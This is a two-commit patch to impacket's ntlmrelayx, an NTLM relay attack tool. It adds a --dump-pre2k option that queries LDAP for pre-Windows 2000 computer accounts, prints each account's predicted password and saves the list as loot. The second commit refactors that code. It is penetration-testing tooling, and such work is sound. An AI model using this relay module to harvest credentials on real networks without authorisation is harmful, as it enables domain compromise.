From 4b20ebcf4a65c176cee3a72e57aa7c9dec67e90d Mon Sep 17 00:00:00 2001 From: H4ckT0Th3Futur3 <187759846+H4ckT0Th3Futur3@users.noreply.github.com> Date: Sat, 14 Mar 2026 14:09:44 +0100 Subject: [PATCH 1/2] ntlmrelayx: Add --dump-pre2k to enumerate Pre-Windows 2000 vulnerable computer accounts Add a new LDAP relay attack option that identifies computer accounts potentially vulnerable to pre-Windows 2000 authentication, where the password is predictable (lowercase machine name without trailing $). Detection is based on the PASSWD_NOTREQD flag (0x0020) in userAccountControl and computer accounts with pwdLastSet=0. Results are displayed in the console and saved as JSON in the lootdir. Co-Authored-By: Claude Opus 4.6 (1M context) --- examples/ntlmrelayx.py | 3 +- .../examples/ntlmrelayx/attacks/ldapattack.py | 124 ++++++++++++++++++ impacket/examples/ntlmrelayx/utils/config.py | 3 +- 3 files changed, 128 insertions(+), 2 deletions(-) diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index a1371575e9..b5ae6f5bd7 100644 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -195,7 +195,7 @@ def start_servers(options, threads): c.setLootdir(options.lootdir) c.setOutputFile(options.output_file) c.setdumpHashes(options.dump_hashes) - c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.dump_adcs, options.sid, options.add_dns_record) + c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.dump_adcs, options.sid, options.add_dns_record, options.dump_pre2k) c.setRPCOptions(options.rpc_mode, options.rpc_use_smb, options.auth_smb, options.hashes_smb, options.rpc_smb_port, options.icpr_ca_name) c.setMSSQLOptions(options.query) c.setInteractive(options.interactive) @@ -398,6 +398,7 @@ def stop_servers(threads): ldapoptions.add_argument('--dump-laps', action='store_true', required=False, help='Attempt to dump any LAPS passwords readable by the user') ldapoptions.add_argument('--dump-gmsa', action='store_true', required=False, help='Attempt to dump any gMSA passwords readable by the user') ldapoptions.add_argument('--dump-adcs', action='store_true', required=False, help='Attempt to dump ADCS enrollment services and certificate templates info') + ldapoptions.add_argument('--dump-pre2k', action='store_true', required=False, help='Enumerate computer accounts vulnerable to pre-Windows 2000 authentication (predictable password)') ldapoptions.add_argument('--add-dns-record', nargs=2, action='store', metavar=('NAME', 'IPADDR'), required=False, help='Add the record to DNS via LDAP pointing to ') #Common options for SMB and LDAP diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index 3f3877902e..fd2cc8edf1 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -645,6 +645,126 @@ def aceApplies(ace_guid, object_class): # If none of these match, the ACE does not apply to this object return False + def dumpPre2k(self, domainDumper): + """ + Enumerate computer accounts potentially vulnerable to pre-Windows 2000 authentication. + These accounts have a predictable password (lowercase machine name without trailing $). + Detection: PASSWD_NOTREQD flag (0x0020) in userAccountControl, or pwdLastSet equals whenCreated + (password was never changed since account creation). + """ + LOG.info("Enumerating computer accounts potentially vulnerable to Pre-Windows 2000 authentication") + + # UF_WORKSTATION_TRUST_ACCOUNT = 0x1000 (4096) + # UF_PASSWD_NOTREQD = 0x0020 (32) + # Search for computer accounts with PASSWD_NOTREQD flag set + search_filter = '(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=32))' + attributes = [ + 'sAMAccountName', + 'userAccountControl', + 'pwdLastSet', + 'whenCreated', + 'distinguishedName', + 'operatingSystem', + ] + + success = self.client.search( + domainDumper.root, + search_filter, + search_scope=ldap3.SUBTREE, + attributes=attributes + ) + + pre2k_candidates = [] + + if success: + for entry in self.client.response: + if entry['type'] != 'searchResEntry': + continue + try: + sam = entry['attributes']['sAMAccountName'] + uac = entry['attributes']['userAccountControl'] + pwd_last_set = entry['attributes']['pwdLastSet'] + when_created = entry['attributes']['whenCreated'] + dn = entry['attributes']['distinguishedName'] + os_name = entry['attributes'].get('operatingSystem', 'N/A') + + pre2k_candidates.append({ + 'sAMAccountName': sam, + 'distinguishedName': dn, + 'userAccountControl': uac, + 'pwdLastSet': str(pwd_last_set), + 'whenCreated': str(when_created), + 'operatingSystem': os_name, + 'predictedPassword': sam.rstrip('$').lower(), + }) + except (KeyError, IndexError): + continue + + # Also search for computer accounts where password was never changed (pwdLastSet == 0) + search_filter2 = '(&(objectCategory=computer)(pwdLastSet=0)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' + success2 = self.client.search( + domainDumper.root, + search_filter2, + search_scope=ldap3.SUBTREE, + attributes=attributes + ) + + if success2: + existing_sams = {c['sAMAccountName'] for c in pre2k_candidates} + for entry in self.client.response: + if entry['type'] != 'searchResEntry': + continue + try: + sam = entry['attributes']['sAMAccountName'] + if sam in existing_sams: + continue + uac = entry['attributes']['userAccountControl'] + pwd_last_set = entry['attributes']['pwdLastSet'] + when_created = entry['attributes']['whenCreated'] + dn = entry['attributes']['distinguishedName'] + os_name = entry['attributes'].get('operatingSystem', 'N/A') + + pre2k_candidates.append({ + 'sAMAccountName': sam, + 'distinguishedName': dn, + 'userAccountControl': uac, + 'pwdLastSet': str(pwd_last_set), + 'whenCreated': str(when_created), + 'operatingSystem': os_name, + 'predictedPassword': sam.rstrip('$').lower(), + }) + except (KeyError, IndexError): + continue + + if not pre2k_candidates: + LOG.info("No Pre-Windows 2000 vulnerable computer accounts found") + return + + LOG.info("Found %d potentially vulnerable Pre-Windows 2000 computer account(s):" % len(pre2k_candidates)) + + fd = None + filename = os.path.join( + self.config.lootdir, + "pre2k-dump-%s-%d.json" % (self.username, random.randint(0, 99999)) + ) + + for candidate in pre2k_candidates: + LOG.info( + " %-30s Password: %-25s OS: %s" % ( + candidate['sAMAccountName'], + candidate['predictedPassword'], + candidate['operatingSystem'], + ) + ) + + try: + fd = open(filename, "w") + json.dump(pre2k_candidates, fd, indent=2) + fd.close() + LOG.info("Pre-Windows 2000 results saved to %s" % filename) + except Exception as e: + LOG.error("Failed to save Pre-Windows 2000 results: %s" % str(e)) + def dumpADCS(self): def is_template_for_authentification(entry): @@ -1084,6 +1204,10 @@ def run(self): self.dumpADCS() LOG.info("Done dumping ADCS info") + # Dump Pre-Windows 2000 vulnerable computer accounts + if self.config.dumppre2k: + self.dumpPre2k(domainDumper) + if self.config.adddnsrecord: name = self.config.adddnsrecord[0] ipaddr = self.config.adddnsrecord[1] diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index 753cc762cb..9dbf3ff655 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -192,7 +192,7 @@ def setDomainAccount(self, machineAccount, machineHashes, domainIp): def setRandomTargets(self, randomtargets): self.randomtargets = randomtargets - def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess, dumplaps, dumpgmsa, dumpadcs, sid, adddnsrecord): + def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess, dumplaps, dumpgmsa, dumpadcs, sid, adddnsrecord, dumppre2k=False): self.dumpdomain = dumpdomain self.addda = addda self.aclattack = aclattack @@ -205,6 +205,7 @@ def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateus self.dumpadcs = dumpadcs self.sid = sid self.adddnsrecord = adddnsrecord + self.dumppre2k = dumppre2k def setMSSQLOptions(self, queries): self.queries = queries From b6e1e600247292e185c6b884dcef287af4a96f6d Mon Sep 17 00:00:00 2001 From: Gabi Gonzalez Date: Wed, 27 May 2026 16:59:08 -0300 Subject: [PATCH 2/2] Deduplicate pre-2k candidate processing --- .../examples/ntlmrelayx/attacks/ldapattack.py | 35 +++++-------------- 1 file changed, 9 insertions(+), 26 deletions(-) diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index fd2cc8edf1..af12ec0d9e 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -675,13 +675,16 @@ def dumpPre2k(self, domainDumper): ) pre2k_candidates = [] + existing_sams = set() - if success: + def addPre2kCandidates(): for entry in self.client.response: if entry['type'] != 'searchResEntry': continue try: sam = entry['attributes']['sAMAccountName'] + if sam in existing_sams: + continue uac = entry['attributes']['userAccountControl'] pwd_last_set = entry['attributes']['pwdLastSet'] when_created = entry['attributes']['whenCreated'] @@ -697,9 +700,13 @@ def dumpPre2k(self, domainDumper): 'operatingSystem': os_name, 'predictedPassword': sam.rstrip('$').lower(), }) + existing_sams.add(sam) except (KeyError, IndexError): continue + if success: + addPre2kCandidates() + # Also search for computer accounts where password was never changed (pwdLastSet == 0) search_filter2 = '(&(objectCategory=computer)(pwdLastSet=0)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' success2 = self.client.search( @@ -710,31 +717,7 @@ def dumpPre2k(self, domainDumper): ) if success2: - existing_sams = {c['sAMAccountName'] for c in pre2k_candidates} - for entry in self.client.response: - if entry['type'] != 'searchResEntry': - continue - try: - sam = entry['attributes']['sAMAccountName'] - if sam in existing_sams: - continue - uac = entry['attributes']['userAccountControl'] - pwd_last_set = entry['attributes']['pwdLastSet'] - when_created = entry['attributes']['whenCreated'] - dn = entry['attributes']['distinguishedName'] - os_name = entry['attributes'].get('operatingSystem', 'N/A') - - pre2k_candidates.append({ - 'sAMAccountName': sam, - 'distinguishedName': dn, - 'userAccountControl': uac, - 'pwdLastSet': str(pwd_last_set), - 'whenCreated': str(when_created), - 'operatingSystem': os_name, - 'predictedPassword': sam.rstrip('$').lower(), - }) - except (KeyError, IndexError): - continue + addPre2kCandidates() if not pre2k_candidates: LOG.info("No Pre-Windows 2000 vulnerable computer accounts found")